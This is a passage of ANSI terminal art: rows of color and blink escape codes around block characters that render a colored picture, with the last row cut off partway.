+[0;5;34;40m8[0;34;45m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m.[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;36;40m%[0;5;35;44m8[0;5;35;40m%[0;35;44m8[0;5;35;40mt[0;5;34;44mX[0;5;36;40m:[0;1;30;45m8[0;5;34;44mX[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;36;40mt[0;5;34;44mX[0;1;30;45m8[0;35;44m8[0;5;36;40m%[0;1;34;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m;[0;5;35;44m@[0;5;36;40m:[0;5;35;40mS[0;5;34;44m8[0;5;35;40m;[0;1;34;44m8[0;5;35;40m%[0;5;33;40m;[0;5;37;43m88[0;5;1;31;43m8[0;1;33;47m@[0;5;1;31;43m8[0;5;37;43m8@[0;5;1;31;43m8[0;1;33;47mX[0;5;1;31;43m8[0;5;37;43m888[0;5;37;41m8[0;1;31;43m8[0;33;47m8[0;5;31;40m88[0;5;33;40mX[0;30;41m@[0;5;33;40mtS[0;31;40mt[0;1;30;43m@[0;5;37;43mX8[0;33;47mX[0;37;43mX[0;5;37;43m8[0;1;30;45m8[0;5;33;40m@[0;1;30;47m8[0;5;31;41m8[0;1;33;47m8[0;5;37;43mX88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m888[0;1;30;47m8[0m +[0;5;34;40m8[0;34;45m8[0;1;30;46m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m88[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;35;40m%[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;36;40m:[0;35;44m8[0;5;35;40m;[0;34;45m8[0;5;35;40mt[0;36;44m8[0;1;30;45m8[0;1;34;44m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40m;[0;34;45m8[0;5;36;40m;[0;5;34;44m@[0;1;30;45m8[0;5;36;40mt[0;34;45m@[0;5;35;40m.[0;35;44m8[0;1;30;43m8[0;5;1;31;43m@[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m8[0;1;33;47m@[0;5;1;31;43m8[0;33;47m@[0;1;31;41m8[0;5;33;40m.[0;1;30;41m8[0;1;30;43m8[0;5;31;40m8[0;31;40m@[0;1;30;40mX[0;5;33;40m8[0;1;30;40mX[0;5;30;40m@[0;1;30;43m8[0;5;33;40m%[0;1;30;43m8[0;5;37;43m8[0;5;37;41m8[0;33;47m8[0;5;33;40m [0;1;30;47mX[0;5;35;40m [0;1;30;47m8[0;5;35;40m.[0;1;30;47m8[0;5;36;40mS[0;5;33;40m:[0;37;43m8[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;33;47m8[0m +[0;5;34;40m8[0;34;45m8[0;5;35;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40mt[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40m:[0;1;30;45m88[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;36;40m:[0;1;30;45m8[0;1;34;44m8[0;5;35;40mt[0;5;31;40mX88[0;1;30;41m8[0;5;31;40m8[0;1;30;41m@88[0;5;31;40m8X[0;5;34;40mS[0;1;30;44m@[0;34;45m8[0;5;35;40mt[0;34;45m8[0;1;34;46m8[0;1;30;45m8[0;5;34;44m@[0;1;30;45m8[0;5;34;44m8[0;1;30;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;1;33;47m8[0;5;1;31;43m8[0;1;33;47mS[0;35;41mX[0;5;31;40m8[0;5;35;40m:[0;5;33;40m8[0;1;30;40m8[0;1;30;41m@[0;5;33;40m%[0;5;31;40m8[0;5;33;40mX[0;1;30;43m88[0;37;43mX[0;5;33;43m;[0;33;47m8[0;5;37;43mX@[0;5;1;31;43m8[0;33;47m8[0;1;30;43m8[0;5;35;40m [0;1;30;47m88[0;36;47m8[0;5;36;44mX[0;1;37;47m [0;5;37;44m8[0;36;47mX[0;35;47m8[0;5;34;40m@[0;5;35;40m.[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8[0;5;37;41m8[0m +[0;5;34;40m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m:[0;34;45m@[0;5;35;40m.[0;1;34;45m8[0;5;35;40m:[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;36;40mt[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;5;35;44m8[0;5;36;40mt[0;1;30;44m8[0;30;41m8[0;1;30;41m8[0;30;41mS[0;33;41m%[0;30;41m%[0;33;41mXSXSS[0;1;30;41mX[0;33;41m%S[0;1;30;41m8[0;5;34;40m88[0;1;30;45m8[0;35;44m8[0;5;36;40mt[0;1;30;45m8[0;1;34;46m8[0;1;30;45m8[0;1;30;43m8[0;5;37;43m@[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;1;33;47m8[0;30;41m8[0;5;33;40m.[0;31;40m8[0;5;31;40mX@[0;1;30;43m88[0;37;43m@[0;5;37;43m88[0;33;47m8[0;5;37;43m@[0;5;1;33;41m8[0;5;37;43m@[0;5;1;31;43m8[0;5;37;43m88[0;5;33;40mX[0;1;30;45m8[0;36;47m@[0;1;34;47m8[0;1;36;47m8[0;5;35;40mS[0;5;34;40m8[0;1;30;44m@[0;36;47m88[0;1;36;47m8[0;1;30;46m8[0;1;30;44m@[0;5;35;40m.[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m888[0;1;30;47m8[0m +[0;5;34;40m8[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40m.[0;5;35;44m8[0;5;36;40m%[0;5;34;44m@[0;5;35;40m:[0;34;45m8[0;5;36;40m;[0;5;34;44mX[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m88[0;5;34;44m8[0;5;35;40m.[0;1;30;45m88[0;5;34;44mX[0;5;36;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;1;30;44m@[0;5;31;40m8[0;1;30;47mt[0;33;47mX[0;1;37;47m [0;33;47m8[0;5;33;40m;[0;1;30;43m8[0;1;30;41m888[0;33;41m@[0;1;30;41m8[0;5;33;40m8[0;30;41mt[0;33;41mX[0;5;31;40m8[0;1;30;44m8[0;35;44m8[0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;1;34;44m@[0;1;30;43m8[0;5;37;43m8[0;5;37;41m88[0;1;31;43m8[0;5;33;41mX[0;1;33;47m8[0;1;30;43m8[0;5;33;40mS[0;1;30;43m8[0;33;47m8[0;5;33;43m:[0;33;47m8[0;1;30;47m8[0;5;35;40m%[0;1;31;43m8[0;1;30;47m8[0;5;35;40mS[0;5;33;40mX[0;1;33;47m8[0;5;35;40m.[0;1;30;47m8[0;5;1;31;43m8[0;5;37;43m8[0;1;30;45m8[0;5;36;40m%[0;36;47m8[0;1;34;47m88[0;5;36;40mX[0;1;30;43m8[0;33;47m8[0;5;35;40m.[0;1;34;47m8@[0;35;47m8[0;1;30;46m8[0;5;35;40m8[0;5;37;43mX8[0;5;1;31;43m8[0;1;33;47mX[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;33;47m8[0m +[0;5;34;40m8[0;34;45m8[0;1;30;46m8[0;34;45m@[0;5;36;40m%[0;34;45m8[0;1;30;45m8[0;1;30;46m8[0;5;35;44m8[0;5;36;40mt[0;5;35;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m@[0;5;36;40mt[0;5;34;44m8[0;5;35;40m.[0;1;34;45m8[0;34;46m8[0;1;30;45m8[0;5;36;44m8[0;1;30;45m8[0;34;46m8[0;1;30;45m8[0;5;34;40m8[0;1;37;47mt [0;1;30;47m@[0;1;37;47m [0;1;31;47m@[0;1;37;47m [0;1;31;47mX[0;1;37;47m [0;1;33;47mS[0;1;30;47m8@[0;1;37;47m.[0;1;30;47m8[0;30;41m;[0;1;30;41m8[0;1;30;47m8S[0;5;35;40m [0;1;30;45m8[0;1;34;44m8[0;5;36;40m.[0;1;30;45m8[0;5;35;40m;[0;5;37;43mS[0;1;31;43m8[0;1;33;47m@[0;5;37;43m88@XX[0;37;43m@[0;5;35;40m;[0;5;37;40m8[0;1;30;47m8[0;5;37;40m8[0;1;30;47m8[0;36;47mX[0;1;30;47m8[0;36;47m8[0;35;47m8[0;1;30;47m88[0;5;35;40m8[0;5;37;40m%[0;33;47m8[0;5;33;40m.[0;5;34;40m8[0;1;30;46m8[0;36;47m@8[0;1;34;47mX[0;1;30;47m88[0;36;47m8[0;1;34;47m@[0;1;36;47m8[0;36;44mX[0;5;34;40mX[0;5;31;40mX[0;5;37;43mX[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m%[0;5;33;41m;[0m +[0;5;34;40m8[0;34;45m8[0;5;35;44m8[0;5;36;40mt[0;5;34;44mX[0;5;35;40m:[0;5;34;44mX[0;1;30;45m8[0;35;44m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;36;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;35;40mX[0;5;36;40m.[0;5;35;40m [0;5;37;47m :8%[0;1;37;47m [0;1;31;47m@8[0;5;37;47m88[0;1;30;47m8[0;35;47mS[0;1;37;47m:[0;1;31;47m8[0;1;37;47m [0;33;47m8[0;1;33;47mS[0;1;37;47m [0;5;35;40m@X[0;5;34;44m@[0;1;30;45m8[0;5;33;40mS[0;5;37;43m@8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;5;1;31;43m8[0;5;37;43m8[0;5;35;40m:[0;1;30;47m@8[0;36;47m8[0;1;34;47m@8[0;1;36;47m8[0;5;37;44m8[0;1;34;47m8[0;36;47m8[0;1;34;47m8[0;36;47m8[0;1;30;47m88[0;1;30;44m8%[0;1;30;47m8[0;5;36;44mS[0;36;47m@[0;1;34;47m8[0;36;47m8[0;1;34;47m8[0;1;36;47m8[0;1;34;46m8[0;5;35;40m:[0;36;47m8[0;1;30;44m8[0;1;30;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8888[0;33;47m8[0m +[0;5;34;40m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m%[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m [0;5;34;44m@[0;5;35;40m.[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44mX[0;5;35;40m.[0;1;30;45m8[0;5;34;44m@[0;5;35;40mt[0;5;35;44m8[0;5;36;40m;[0;1;30;45m8[0;5;34;40mS[0;1;30;47m.[0;1;37;47m8[0;5;37;47m8[0;1;37;47mS[0;1;30;47mX[0;1;37;47m [0;1;33;47mX[0;1;37;47m [0;5;37;47mX;:8[0;1;33;47mS[0;5;37;47m8[0;5;1;37;43m8[0;5;37;45m8[0;5;37;47m8[0;5;1;33;47m8[0;1;37;47m [0;5;37;47m8[0;35;47m8[0;1;30;45m8[0;5;35;40m%[0;35;44m@[0;5;33;40m:[0;5;37;43mS[0;5;1;31;43m8[0;5;37;43m8@[0;5;1;31;43m8[0;1;33;47mX[0;1;30;47m8[0;5;35;40m.[0;1;30;47mtX[0;1;34;47m88[0;36;47m8[0;1;36;47m8[0;5;37;44m8[0;1;30;47m8[0;36;47m8[0;1;36;47m8[0;5;37;44m8[0;36;47m@[0;1;34;47m8[0;36;47m8[0;5;36;44mX[0;5;36;40mX[0;1;30;44m8[0;5;34;40m8[0;5;33;40m.[0;5;36;40m.[0;1;30;46m8[0;1;34;46m8[0;5;37;40mX[0;5;36;40m8[0;35;47m8[0;5;35;40m;[0;5;34;40m@[0;5;33;40mt[0;5;37;43m@[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m8[0;5;33;41m%[0m +[0;5;34;40m8[0;34;45m8[0;5;36;40m:[0;5;34;44mX[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;1;34;45m8[0;5;36;40m;[0;1;30;45m8[0;1;34;45m8[0;5;36;40m.[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;1;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m;[0;1;37;47m@ [0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;5;33;41m [0;5;37;47m88[0;1;33;47mS[0;5;37;47m8[0;5;1;33;47m8[0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;5;1;35;41m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;37;43m8[0;1;37;47m [0;1;30;45m8[0;5;34;40mX[0;34;45m8[0;5;33;40m;[0;5;37;43mX8[0;5;1;33;41m8[0;1;33;47m8[0;5;1;31;43m8[0;5;37;43m88[0;5;35;40m%:[0;36;47mX8[0;1;34;47m88[0;36;47m88[0;5;37;44m8[0;5;36;44m%[0;5;36;40m:[0;36;47m8[0;1;34;47m8[0;36;47m8[0;1;36;47m@[0;35;47m@[0;1;30;46m8[0;5;36;40m8[0;5;31;40mX[0;33;47m@[0;5;33;40m.[0;33;47m8[0;5;37;40mX[0;5;35;40m8[0;33;47m8[0;5;33;40m [0;1;30;43m8[0;5;37;43mX[0;5;1;31;43m@[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;31;43m8[0;1;33;47mX[0;5;37;43m8[0;1;30;47m8[0m +[0;5;34;40m8[0;34;45m8[0;5;36;40mt[0;1;34;45m8[0;1;30;46m8[0;5;34;44mX[0;5;35;40m%[0;1;34;44m8[0;5;35;40m%[0;5;34;44m8[0;5;36;40m.[0;34;45m8[0;5;36;40m:[0;5;34;44mX[0;5;35;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;35;40m%[0;1;30;47m@[0;5;37;47m88[0;5;1;33;47m8[0;5;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;1;37;47m [0;5;1;33;41m@[0;1;31;47m8[0;5;1;35;41m8[0;1;37;47m [0;5;1;37;45m8[0;5;1;31;43m8[0;5;37;47m8[0;5;1;33;47m8[0;5;1;35;47m8[0;5;1;37;43m@[0;5;37;47m8[0;5;1;33;47m8[0;5;1;35;47m8[0;5;1;37;43m8[0;1;35;47m%[0;5;1;37;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;37;47m8[0;1;30;45m8[0;5;35;40m@[0;1;30;44m8[0;5;33;40m;[0;5;1;31;43m@[0;1;33;47m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;33;41m:[0;1;30;47mX8[0;36;47m@[0;1;34;47m8[0;1;36;47m8[0;1;34;47m8[0;36;47m8[0;1;34;47mX[0;5;36;44m@[0;5;36;40m@[0;1;30;43m%[0;5;35;40m%[0;1;30;46m8[0;1;36;47mX[0;5;37;44m8[0;1;34;47m8[0;1;36;47m8[0;5;36;44m@[0;5;35;40m%[0;5;33;40mt[0;5;37;43mXXX88@@@[0;5;1;31;43m@[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47mS[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;33;47m8[0m +[0;5;34;40m8[0;34;45m8[0;5;36;44m8[0;1;30;45m8[0;34;45m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m.[0;1;34;45m8[0;5;36;40m:[0;5;34;44m8[0;5;35;40m;[0;5;35;44m8[0;5;35;40m;[0;5;34;44m8[0;5;36;40m:[0;34;45m8[0;5;34;44m8[0;5;35;40m [0;1;30;45m8[0;5;34;44mX[0;5;36;40m.[0;1;30;45m8[0;5;35;40mX[0;1;37;47m. [0;5;1;33;41m8[0;5;1;35;47m@[0;5;1;37;43m8[0;5;37;45m8[0;5;1;33;41m8[0;5;37;47m8[0;1;35;47mX[0;33;47m8X[0;5;37;41m8[0;1;33;47m@[0;35;47m8[0;1;31;47mX[0;5;37;47m8[0;5;1;31;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;31;43m@[0;5;1;35;47m@[0;5;1;37;43m8[0;5;1;37;45m8[0;5;37;43m8[0;5;1;37;45m8[0;5;1;33;47m8[0;37;45m@[0;5;35;40m8[0;35;44m8[0;5;33;40mt[0;5;37;43m@[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;1;33;47m8[0;5;35;40mX[0;36;44m8[0;1;30;47m8[0;1;34;47m88[0;36;47m8[0;1;34;47m8[0;1;36;47m@[0;5;35;40m8[0;5;33;40mt[0;33;47m8[0;5;37;40m8[0;36;47mX[0;1;34;47m8[0;36;47m@@[0;1;34;47m@[0;36;47m8[0;1;30;46m8[0;5;35;40m8[0;1;30;43m8[0;5;37;43m@[0;5;31;41m8[0;5;33;40m8[0;1;30;41m%[0;5;33;40mS[0;1;31;41m8[0;1;30;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m88[0;1;33;47m@[0;1;31;47m@[0;5;1;31;43mX[0;5;37;43m8[0;5;37;41m8[0;5;37;43m8[0;1;31;47m8[0m +[0;5;34;40m8[0;1;30;45m8[0;5;34;40mX[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m.[0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m;[0;5;34;44mX[0;5;35;40m [0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;34;40mX[0;1;30;47m@[0;5;37;47m888[0;5;1;33;47m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;1;31;41m;[0;31;40m%SS8[0;30;41mX[0;1;31;45m8[0;5;37;47m88[0;5;1;33;41m8[0;5;37;47m88[0;5;1;33;47m8[0;5;1;31;45m8[0;5;1;33;47m8[0;5;37;47m8[0;5;1;31;43m8[0;5;37;47m8[0;1;35;47m8[0;5;34;40mS[0;1;30;44m8[0;5;33;40mS[0;5;37;43m@[0;5;1;31;43m8[0;1;33;47mX[0;5;1;31;43m8[0;5;37;43m8X[0;5;35;40m:[0;35;47m8[0;1;30;46m8[0;36;47m8[0;1;36;47m8[0;1;34;47m8[0;36;47m8[0;1;34;47m8[0;36;47m8[0;1;30;47m88[0;36;47m8[0;5;37;44m8[0;1;36;47m@[0;1;34;47m8[0;36;47m@[0;1;34;47m8[0;5;36;40m [0;5;35;40m [0;33;47m8[0;5;37;43m@[0;5;1;31;43m@[0;33;47m8[0;5;33;40mS[0;1;30;43m8[0;1;33;47m8[0;33;47m8[0;5;37;43m@8[0;1;31;45m8[0;1;30;43m8[0;5;35;41mX[0;1;30;41m8[0;5;33;40m8[0;1;33;47m8[0;5;33;41mt[0;1;33;47m8[0;5;37;43m8[0;1;30;43m8[0m +[0;5;34;40m8[0;1;34;44m8[0;5;35;40mt[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;5;34;44m8[0;5;35;40m;[0;5;35;44m8[0;5;36;40mt[0;34;45m8[0;5;35;40m:[0;5;34;44m@[0;5;35;40m:[0;5;35;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;1;30;44m@[0;1;30;47m8[0;5;37;47m8[0;5;1;33;41m8[0;5;1;35;47m@[0;5;37;43m8[0;5;37;47m8[0;5;1;35;41m8[0;5;37;43m8[0;5;37;41m8[0;1;33;47mS[0;1;30;41mX[0;31;40m:[0;34;40m;[0;1;30;40m8[0;5;35;40m;[0;5;33;40m.[0;1;30;41m8[0;1;37;47m [0;5;37;47m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;33;47m8[0;35;47m8[0;1;30;45m@[0;35;44m8[0;5;33;40m@[0;5;37;43m@[0;5;1;31;43m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;33;47mX[0;5;35;40m8[0;5;36;40mS:[0;1;34;47m@@[0;36;47m8[0;1;34;47m8[0;1;36;47m8[0;5;37;44m8[0;36;47m8[0;1;34;47m8[0;1;36;47m8[0;1;30;47m8[0;5;37;44m8[0;1;36;47m@[0;35;44m8[0;1;30;46m88[0;5;31;40m8[0;5;37;43m@X[0;5;33;43m [0;5;1;31;43m8[0;1;33;47m@[0;5;1;31;43m8[0;33;47m8[0;1;31;41m;[0;33;47m8[0;5;31;40m@[0;1;30;40m8[0;5;33;40mSt[0;30;41m8[0;1;30;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43mX[0;5;33;40m.[0m +[0;5;34;40m8[0;1;30;45m8[0;5;34;44m8[0;5;36;40m [0;1;30;45m8[0;36;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;36;40m%[0;1;34;45m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;5;34;44mS[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;1;30;46m8[0;34;45m@[0;1;33;47mS[0;5;37;47m88[0;5;1;33;47m8[0;5;1;37;45m@[0;5;1;37;43m8[0;5;37;47m8[0;5;37;41m8[0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;1;37;47m [0;1;30;47m8[0;1;31;47mS[0;1;37;47m [0;1;31;47mX[0;1;33;47m%[0;5;37;47m8[0;5;1;31;43m8[0;5;37;47m8[0;5;1;35;47m8[0;5;1;31;43m@[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;35;41m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;35;47m8[0;33;47m8[0;1;30;45mX[0;1;30;44m8[0;5;31;40mX[0;5;37;43m@8[0;5;1;33;41m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8[0;37;43mX[0;5;37;40m8[0;36;47m8[0;5;36;44mX[0;1;30;47m8[0;1;36;47m8[0;5;37;44m8[0;36;47m8[0;1;34;47m8[0;1;36;47m8[0;1;34;47m8[0;36;47m8[0;5;37;44m8[0;36;47m8[0;1;34;47m8[0;5;36;40m%[0;1;30;47m8[0;5;33;40mS[0;37;43m@[0;5;1;31;43m@[0;1;31;47m8[0;5;33;40m;[0;33;47m8[0;1;30;41mS[0;5;31;40mX[0;37;43m@[0;31;40m8[0;5;33;40mS[0;5;31;40mS[0;32;40m%[0;5;33;40m88@[0;37;43m8[0;5;37;43mX[0;5;1;31;43m8[0;5;37;43m8[0;1;31;43m8[0m +[0;5;34;40m8[0;1;30;45m8[0;5;36;40mS[0;5;34;44mX[0;1;30;45m8[0;5;35;44m8[0;5;36;40m:[0;1;30;45m8[0;36;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;34;44mX[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;34;44m@[0;5;35;40m8[0;1;33;47mS[0;1;37;47m [0;5;1;37;45m8[0;5;1;31;43m8[0;5;37;47m8[0;5;1;35;47m8[0;5;37;43m8[0;1;35;47mX[0;1;31;47m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;1;37;47m [0;5;37;47m88[0;1;33;47mS[0;5;1;35;47m8[0;5;37;47m8[0;5;1;31;43m8[0;5;37;47m88[0;5;1;33;47m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;5;1;31;45m8[0;5;1;33;47m8[0;35;47m8[0;5;34;40mX[0;34;45m8[0;5;33;40m@[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m@[0;5;1;31;43m8[0;5;37;43m88[0;33;47m8[0;1;30;45m8[0;1;30;43m8[0;5;37;40m%[0;5;37;44m8[0;5;36;40mX[0;1;30;46m8[0;1;34;47mX[0;1;30;46m8[0;1;30;45m8[0;1;36;47m8[0;1;30;44m8[0;5;35;40m; [0;1;30;44m8[0;1;30;43m@[0;5;37;43mX@[0;1;33;47m@[0;1;30;41mX[0;1;30;43m8[0;5;31;40mX8[0;5;30;40m8[0;5;33;40mS[0;5;31;40m8[0;5;33;40m8[0;1;30;43m8[0;1;33;43mt[0;5;37;43m8XX[0;5;1;31;43m8[0;5;37;43m888[0;1;30;47m8[0m +[0;5;34;40m8[0;1;34;44m8[0;1;30;45m8[0;5;35;40m%[0;5;34;44m8[0;5;36;40m [0;5;34;44m8[0;5;35;40m;[0;5;35;44m8[0;5;36;40m;[0;1;30;45m8[0;5;34;44m8[0;5;36;40m.[0;5;35;44m8[0;5;35;40m:[0;5;34;40mS[0;1;30;45m8[0;35;44m8[0;5;36;40m.[0;5;34;44mS[0;5;35;40m;X[0;1;30;44m8[0;1;37;47m [0;5;1;33;47m8[0;5;37;47m8[0;5;1;35;47m8[0;5;1;37;43m@[0;5;1;35;41m8[0;1;33;47m%[0;5;37;47m8[0;5;1;33;47m8[0;5;1;37;45m8[0;5;37;43m8[0;5;1;35;47m8[0;1;37;47m [0;5;1;33;47m8[0;5;1;35;41m8[0;5;1;37;43m8[0;5;1;35;47m8[0;5;1;31;43m@[0;5;1;35;47m@[0;5;37;47m8[0;5;1;33;47m8[0;5;1;31;45m8[0;5;1;33;47m8[0;5;37;47m8[0;5;37;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;37;47m8[0;35;41m8[0;5;34;40m8[0;5;35;40m8[0;5;31;40m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m@[0;5;1;31;43m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43mXX[0;5;35;40m;[0;1;30;44m%[0;5;35;40mS[0;5;37;40m8[0;1;30;47m8[0;1;30;44mS[0;5;37;40m@[0;5;36;40m%[0;1;30;44mX[0;1;30;43m8[0;5;37;43m8[0;5;33;43m%[0;1;33;47m8[0;5;31;41m:[0;33;41m8[0;1;30;43m8[0;5;31;40m@8[0;30;41m8[0;5;33;40m@[0;1;30;41m8[0;1;30;43m8[0;1;33;47m8[0;5;33;43m.[0;5;37;43mX[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;1;33;47m8[0;5;37;43m@[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;1;30;43m8[0m +[0;5;34;40m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:%[0;5;35;44m8[0;5;35;40m.[0;5;35;44m8[0;5;36;40m;[0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m%[0;5;34;44m@[0;5;35;40m 